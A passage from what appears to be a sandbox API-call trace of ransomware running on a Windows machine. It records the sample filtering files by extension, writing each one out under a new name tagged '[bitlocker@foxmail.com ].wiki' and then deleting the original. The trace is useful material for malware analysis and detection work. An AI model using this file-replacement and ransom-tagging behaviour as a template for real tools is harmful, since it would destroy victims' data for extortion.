(lpString=".1cd") returned 4 [0174.337] lstrcmpiW (lpString1=".1cd", lpString2=".lst") returned -1 [0174.337] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 70 [0174.337] lstrlenW (lpString=".jpg") returned 4 [0174.337] lstrcmpiW (lpString1=".jpg", lpString2=".lst") returned -1 [0174.337] lstrcmpiW (lpString1=".icc", lpString2=".wiki") returned -1 [0174.337] lstrlenW (lpString="wscRGB.icc") returned 10 [0174.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.337] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=66208) returned 1 [0174.338] CloseHandle (hObject=0x334) returned 1 [0174.338] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc")) returned 0x2020 [0174.338] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.338] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.338] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.338] GetLastError () returned 0x0 [0174.338] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x102a0, lpOverlapped=0x0) returned 1 [0174.341] WriteFile (in: hFile=0x1b4, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x102b0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x102b0, lpOverlapped=0x0) returned 1 [0174.343] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.343] WriteFile (in: hFile=0x1b4, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0174.344] SetEndOfFile (hFile=0x1b4) returned 1 [0174.344] CloseHandle (hObject=0x1b4) returned 1 [0174.344] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.344] SetEndOfFile (hFile=0x334) returned 1 [0174.345] CloseHandle (hObject=0x334) returned 1 [0174.345] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.345] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc")) returned 1 [0174.345] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 75 [0174.345] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 75 [0174.345] lstrlenW (lpString=".doc") returned 4 [0174.346] lstrcmpiW (lpString1=".doc", lpString2=".icc") returned -1 [0174.346] lstrlenW (lpString=".docx") returned 5 [0174.346] lstrcmpiW (lpString1=".docx", lpString2="B.icc") returned -1 [0174.346] lstrlenW (lpString=".pdf") returned 4 [0174.346] lstrcmpiW (lpString1=".pdf", lpString2=".icc") returned 1 [0174.346] lstrlenW (lpString=".xls") returned 4 [0174.346] lstrcmpiW (lpString1=".xls", lpString2=".icc") returned 1 [0174.346] lstrlenW (lpString=".xlsx") returned 5 [0174.346] lstrcmpiW (lpString1=".xlsx", lpString2="B.icc") returned -1 [0174.346] lstrlenW (lpString=".ppt") returned 4 [0174.346] lstrcmpiW (lpString1=".ppt", lpString2=".icc") returned 1 [0174.346] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 75 [0174.346] lstrlenW (lpString=".zip") returned 4 [0174.346] lstrcmpiW (lpString1=".zip", lpString2=".icc") returned 1 [0174.346] lstrlenW (lpString=".rar") returned 4 [0174.346] lstrcmpiW (lpString1=".rar", lpString2=".icc") returned 1 [0174.346] lstrlenW (lpString=".bz2") returned 4 [0174.346] lstrcmpiW (lpString1=".bz2", lpString2=".icc") returned -1 [0174.346] lstrlenW (lpString=".7z") returned 3 [0174.346] lstrcmpiW (lpString1=".7z", lpString2="icc") returned -1 [0174.346] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 75 [0174.346] lstrlenW (lpString=".dbf") returned 4 [0174.346] lstrcmpiW (lpString1=".dbf", lpString2=".icc") returned -1 [0174.346] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 75 [0174.346] lstrlenW (lpString=".1cd") returned 4 [0174.346] lstrcmpiW (lpString1=".1cd", lpString2=".icc") returned -1 [0174.346] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 75 [0174.346] lstrlenW (lpString=".jpg") returned 4 [0174.346] lstrcmpiW (lpString1=".jpg", lpString2=".icc") returned 1 [0174.347] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 75 [0174.347] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 75 [0174.347] lstrlenW (lpString=".doc") returned 4 [0174.347] lstrcmpiW (lpString1=".doc", lpString2=".icc") returned -1 [0174.347] lstrlenW (lpString=".docx") returned 5 [0174.347] lstrcmpiW (lpString1=".docx", lpString2="B.icc") returned -1 [0174.347] lstrlenW (lpString=".pdf") returned 4 [0174.347] lstrcmpiW (lpString1=".pdf", lpString2=".icc") returned 1 [0174.347] lstrlenW (lpString=".xls") returned 4 [0174.347] lstrcmpiW (lpString1=".xls", lpString2=".icc") returned 1 [0174.347] lstrlenW (lpString=".xlsx") returned 5 [0174.347] lstrcmpiW (lpString1=".xlsx", lpString2="B.icc") returned -1 [0174.347] lstrlenW (lpString=".ppt") returned 4 [0174.347] lstrcmpiW (lpString1=".ppt", lpString2=".icc") returned 1 [0174.347] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 75 [0174.347] lstrlenW (lpString=".zip") returned 4 [0174.347] lstrcmpiW (lpString1=".zip", lpString2=".icc") returned 1 [0174.347] lstrlenW (lpString=".rar") returned 4 [0174.347] lstrcmpiW (lpString1=".rar", lpString2=".icc") returned 1 [0174.347] lstrlenW (lpString=".bz2") returned 4 [0174.347] lstrcmpiW (lpString1=".bz2", lpString2=".icc") returned -1 [0174.347] lstrlenW (lpString=".7z") returned 3 [0174.347] lstrcmpiW (lpString1=".7z", lpString2="icc") returned -1 [0174.347] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 75 [0174.347] lstrlenW (lpString=".dbf") returned 4 [0174.347] lstrcmpiW (lpString1=".dbf", lpString2=".icc") returned -1 [0174.347] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 75 [0174.347] lstrlenW (lpString=".1cd") returned 4 [0174.347] lstrcmpiW (lpString1=".1cd", lpString2=".icc") returned -1 [0174.347] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 75 [0174.348] lstrlenW (lpString=".jpg") returned 4 [0174.348] lstrcmpiW (lpString1=".jpg", lpString2=".icc") returned 1 [0174.348] lstrcmpiW (lpString1=".icc", lpString2=".wiki") returned -1 [0174.348] lstrlenW (lpString="wsRGB.icc") returned 9 [0174.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.348] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2676) returned 1 [0174.348] CloseHandle (hObject=0x334) returned 1 [0174.348] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc")) returned 0x2020 [0174.348] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.349] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.349] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.351] GetLastError () returned 0x0 [0174.351] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0xa74, lpOverlapped=0x0) returned 1 [0174.353] WriteFile (in: hFile=0x320, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xa80, lpOverlapped=0x0) returned 1 [0174.354] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.354] WriteFile (in: hFile=0x320, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0174.354] SetEndOfFile (hFile=0x320) returned 1 [0174.354] CloseHandle (hObject=0x320) returned 1 [0174.354] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.354] SetEndOfFile (hFile=0x334) returned 1 [0174.355] CloseHandle (hObject=0x334) returned 1 [0174.355] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.355] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc")) returned 1 [0174.355] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 74 [0174.355] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 74 [0174.355] lstrlenW (lpString=".doc") returned 4 [0174.355] lstrcmpiW (lpString1=".doc", lpString2=".icc") returned -1 [0174.355] lstrlenW (lpString=".docx") returned 5 [0174.355] lstrcmpiW (lpString1=".docx", lpString2="B.icc") returned -1 [0174.355] lstrlenW (lpString=".pdf") returned 4 [0174.355] lstrcmpiW (lpString1=".pdf", lpString2=".icc") returned 1 [0174.355] lstrlenW (lpString=".xls") returned 4 [0174.355] lstrcmpiW (lpString1=".xls", lpString2=".icc") returned 1 [0174.356] lstrlenW (lpString=".xlsx") returned 5 [0174.356] lstrcmpiW (lpString1=".xlsx", lpString2="B.icc") returned -1 [0174.356] lstrlenW (lpString=".ppt") returned 4 [0174.356] lstrcmpiW (lpString1=".ppt", lpString2=".icc") returned 1 [0174.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 74 [0174.356] lstrlenW (lpString=".zip") returned 4 [0174.356] lstrcmpiW (lpString1=".zip", lpString2=".icc") returned 1 [0174.356] lstrlenW (lpString=".rar") returned 4 [0174.356] lstrcmpiW (lpString1=".rar", lpString2=".icc") returned 1 [0174.356] lstrlenW (lpString=".bz2") returned 4 [0174.356] lstrcmpiW (lpString1=".bz2", lpString2=".icc") returned -1 [0174.356] lstrlenW (lpString=".7z") returned 3 [0174.356] lstrcmpiW (lpString1=".7z", lpString2="icc") returned -1 [0174.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 74 [0174.356] lstrlenW (lpString=".dbf") returned 4 [0174.356] lstrcmpiW (lpString1=".dbf", lpString2=".icc") returned -1 [0174.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 74 [0174.356] lstrlenW (lpString=".1cd") returned 4 [0174.356] lstrcmpiW (lpString1=".1cd", lpString2=".icc") returned -1 [0174.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 74 [0174.356] lstrlenW (lpString=".jpg") returned 4 [0174.356] lstrcmpiW (lpString1=".jpg", lpString2=".icc") returned 1 [0174.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 74 [0174.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 74 [0174.356] lstrlenW (lpString=".doc") returned 4 [0174.356] lstrcmpiW (lpString1=".doc", lpString2=".icc") returned -1 [0174.356] lstrlenW (lpString=".docx") returned 5 [0174.356] lstrcmpiW (lpString1=".docx", lpString2="B.icc") returned -1 [0174.356] lstrlenW (lpString=".pdf") returned 4 [0174.357] lstrcmpiW (lpString1=".pdf", lpString2=".icc") returned 1 [0174.357] lstrlenW (lpString=".xls") returned 4 [0174.357] lstrcmpiW (lpString1=".xls", lpString2=".icc") returned 1 [0174.357] lstrlenW (lpString=".xlsx") returned 5 [0174.357] lstrcmpiW (lpString1=".xlsx", lpString2="B.icc") returned -1 [0174.357] lstrlenW (lpString=".ppt") returned 4 [0174.357] lstrcmpiW (lpString1=".ppt", lpString2=".icc") returned 1 [0174.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 74 [0174.357] lstrlenW (lpString=".zip") returned 4 [0174.357] lstrcmpiW (lpString1=".zip", lpString2=".icc") returned 1 [0174.357] lstrlenW (lpString=".rar") returned 4 [0174.357] lstrcmpiW (lpString1=".rar", lpString2=".icc") returned 1 [0174.357] lstrlenW (lpString=".bz2") returned 4 [0174.357] lstrcmpiW (lpString1=".bz2", lpString2=".icc") returned -1 [0174.357] lstrlenW (lpString=".7z") returned 3 [0174.357] lstrcmpiW (lpString1=".7z", lpString2="icc") returned -1 [0174.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 74 [0174.357] lstrlenW (lpString=".dbf") returned 4 [0174.357] lstrcmpiW (lpString1=".dbf", lpString2=".icc") returned -1 [0174.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 74 [0174.357] lstrlenW (lpString=".1cd") returned 4 [0174.357] lstrcmpiW (lpString1=".1cd", lpString2=".icc") returned -1 [0174.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 74 [0174.357] lstrlenW (lpString=".jpg") returned 4 [0174.357] lstrcmpiW (lpString1=".jpg", lpString2=".icc") returned 1 [0174.357] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0174.357] lstrlenW (lpString="GoogleUpdateSetup.exe") returned 21 [0174.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.358] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1130328) returned 1 [0174.358] CloseHandle (hObject=0x334) returned 1 [0174.358] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe")) returned 0x20 [0174.358] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.358] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.359] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.360] GetLastError () returned 0x0 [0174.360] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0174.385] WriteFile (in: hFile=0x320, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0174.671] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x13f68, lpOverlapped=0x0) returned 1 [0174.681] WriteFile (in: hFile=0x320, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x13f70, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x13f70, lpOverlapped=0x0) returned 1 [0174.685] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.685] WriteFile (in: hFile=0x320, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0174.686] SetEndOfFile (hFile=0x320) returned 1 [0174.686] CloseHandle (hObject=0x320) returned 1 [0174.686] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.686] SetEndOfFile (hFile=0x334) returned 1 [0174.687] CloseHandle (hObject=0x334) returned 1 [0174.687] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0174.947] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe")) returned 0 [0174.947] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 160 [0174.947] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 160 [0174.947] lstrlenW (lpString=".doc") returned 4 [0174.947] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0174.947] lstrlenW (lpString=".docx") returned 5 [0174.947] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0174.947] lstrlenW (lpString=".pdf") returned 4 [0174.947] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0174.947] lstrlenW (lpString=".xls") returned 4 [0174.948] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0174.948] lstrlenW (lpString=".xlsx") returned 5 [0174.948] 